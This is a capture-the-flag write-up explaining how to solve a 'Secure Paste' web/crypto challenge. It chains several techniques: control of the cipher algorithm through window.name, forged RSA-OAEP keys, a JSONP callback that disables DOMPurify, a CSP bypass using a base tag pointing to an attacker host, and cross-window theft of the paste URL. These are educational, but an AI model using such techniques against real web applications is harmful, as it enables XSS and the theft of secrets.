- Category: Web/Crypto
- Score: 421/500
- Solves: 3
Welcome to Secure Paste™, an end-to-end encrypted paste sharing service. Paste content will be encrypted at client-side so the server can only see the ciphertext. If you find any bugs please report to the admin here.
The bot will create a new encrypted paste using the content of secret.md
(which contains the flag) and visit user provided url appended by ?from=url_of_encrypted_paste_without_decryption_key
. The target is to steal that secret paste.
There are multiple bugs in this challenges, so we need to find them all and chain them together to get flag.
In app/views/paste.ejs
we see this:
window.onload = () => {
const id = new URLSearchParams(location.search).get('id')
const script = document.createElement('script')
script.src = `/api/pastes/${id}?callback=load`
script.nonce = '<%= nonce %>'
document.body.appendChild(script)
}
Since id
is user controlled, we can set id
to random_id?callback=alert#
then the returned response will be:
/**/ typeof alert === 'function' && alert(...)
But this JSONP feature is provided by express.js, which remove some bad characters so we can't get XSS from this.
Still, in app/views/paste.ejs
we see this:
const cu = new CryptoUtils()
// ...
const getContent = fputils.acompose(updateTitleAndGetContent, JSON.parse, utils.textDecode, cu.decrypt)
with CryptoUtils
defined as:
function CryptoUtils() {
this.name ||= 'AES-GCM'
this.additionalData ||= utils.textEncode('Secure Paste Encrypted Data')
}
// ...
CryptoUtils.prototype.decrypt = async function (obj) {
const ctx = { ...obj, name: this.name, additionalData: this.additionalData }
const key = await crypto.subtle.importKey(ctx.key.type, ctx.key.data, ctx, true, ['decrypt'])
return new Uint8Array(await crypto.subtle.decrypt(ctx, key, ctx.ct))
}
Although it isn't obvious, but any people who are familiar with JavaScript should know that this
is not bound to CryptoUtils
instance in cu.decrypt
function. Instead, the this
is bound to window
inside decrypt
. It is easy to verify this by setting a breakpoint inside the decrypt
function.
So what does this means? This means the decryption algorithm name comes from window.name
, which is controllable by us!
But if it is from window.name
, how does this website decrypt the paste correctly? The answer is that window.name
has already be set to AES-GCM
!
You can check every js files in app/static/js
and you will see that only crypto.js
is not ended with a semicolon ;
, and it is concatenated into bundle.js
like this:
const bundlejs = (() => {
// poor man's javascript bundler
const DIR = 'static/js'
let js = ''
for (const f of ['utils.js', 'crypto.js', 'fputils.js', 'jsonplus.js']) {
js += fs.readFileSync(`${DIR}/${f}`, 'utf-8') + '\n'
}
return js
})()
Due to how JavaScript ASI works, the return value of crypto.js
(which is CryptoUtils
) will be called directly without new
, so window.name
will be set to AES-GCM
when it is falsy!
The idea of this comes from a 4 years old bug report to Tampermonkey, so concatenating js files like this may actually happen.
Now we know that we can control the decryption algorithm name and the decryption key using window.name
and hash parameters, so we can choose a algorithm from here and somehow generate a key that could decrypt a fixed ciphertext into anything we want.
-
AES-CTR
: You can control$16+i$ bytes with$256^i$ bruteforce -
AES-CBC
: You can control$32$ bytes (source: Team justCatTheFish) -
RSA-OAEP
: You can control at most$\lfloor \log_{256} n \rfloor$ bytes, and$n$ have roughly the same length as the ciphertext.
So my intended solution use RSA-OAEP
, which can be rephrased into:
Finding RSA private key with
Although OAEP padding involves randomness, we can just take any padded
And the solution to this is obvious, just take
This is hard to implement in JavaScript so I implement it in Python (with Sage) and expose it as an API.
Now that decrypted plaintext is controllable, but it is still need to go through marked.parse
and DOMPurify.sanitize
before setting innerHTML
.
And the DOMPurify Bypass trick here is ...... JSONP! If you try to inspect DOMPurify
object you will see there is a DOMPurify.isSupported
attribute, making it falsy basically making DOMPurify.sanitize
a no-op.
But how can you make DOMPurify.isSupported
with JSONP? Please remember that the regex that express.js uses is /[^\[\]\w$.]/g
, so only [a-zA-Z0-9_]
, $
, [
, ]
and .
are allowed in callback. So delete[a][0].b
deletes b
from a
and it is still a valid callback. So if we use delete[DOMPurify][0].isSupported
as JSONP callback then DOMPurify
will be disabled completely!
The idea of this
delete
trick comes from this writeup.
But here comes another problem, we need to make it call load
so that the page will decrypt the paste and go through marked.parse
and DOMPurify.sanitize
, so we can't use delete[DOMPurify][0].isSupported
at the same time isn't it?
The solution is to play with window references, for example we can have attacker -> w1 -> w2
(->
denotes window.open
). Let w1
load the page normally with controlled window.name
and decryption key and w2
load the page with delete[opener.DOMPurify][0].isSupported
as JSONP callback. This is a bit like race condition but it is quite reliable in practice.
Now we can inject arbitrary HTML into the page, but the page still have a CSP rule need to be bypassed:
default-src 'self'; script-src 'self' 'nonce-847db7aeb5c44a033b5d34c55a18879a'; style-src 'self' 'unsafe-inline'; img-src *; frame-src 'none'; object-src 'none'
Paste this into CSP Evaluator and you will see that base-uri
is missing here, so we can use the classic <base href="https://attacker.host">
combined with <iframe srcdoc="<script src='/x'></script>"></iframe>
to bypass right?
If you tried this and you will still get a CSP error because it is missing a nonce
, so this doesn't work.
The intended CSP bypass is to notice that the page use window.onload
assignment here:
window.onload = () => {
const id = new URLSearchParams(location.search).get('id')
const script = document.createElement('script')
script.src = `/api/pastes/${id}?callback=load`
script.nonce = '<%= nonce %>'
document.body.appendChild(script)
}
As you can see, what it does is to load a script nonce. So after the <base href="https://attacker.host">
tag has been injected, we can use w2
to call opener.onload
then it will try to load https://attacker.host/api/pastes/...
without error -> XSS!
Remembered the attacker -> w1 -> w2
window references chain? Now we have arbitrary XSS on w1
, but how to steal the secret paste?
It is actually quite easy if you notice that it uses the same tab to load attacker's page and the secret paste, so a simple history.back()
will make attacker
tab go back to the secret paste. So will only need to steal opener.location.href
from w1
to solve this challenge.
My exploit is located in exp folder. To run, simply python expserver.py
and you may need to use ngrok-like service to expose your local server to the internet with HTTPS. Send the public URL to the bot and it then you will get the full url of that secret paste (including decryption key).
Due to some implementation laziness in the crypto part, it may not always success, but just submit the url again and it will work eventually.
The main blocker of my exploit working on Chromium is because they have a stricter check for RSA keys (using BoringSSL) here. It it meant to mitigate DoS attacks by forcing
Most of my exploit still works in Firefox 106+, but the Stealing the secret paste part doesn't work for some unknown reasons. I tested it and found that when the attacker
tab use history.back()
, then the opener
in w1
will simply become null
. I am not sure if this is a Firefox bug or a new privacy feature, but it is still a blocker for my exploit.
Source: a message in HITCON CTF Discord
Have 4 tabs a -> b -> c -> d
:
a
simplyhistory.back()
b
have many frames with name being base64 charsetc
do nothingd
navigatesc
to JSONP payloadopener[opener.opener.location.hash[i]].focus
So by detecting the focus, we can leak the decryption key char by char.
Also, it is possible to do the same to leak document.cookie
because I forgot to set token
cookie to HttpOnly
. :bonk: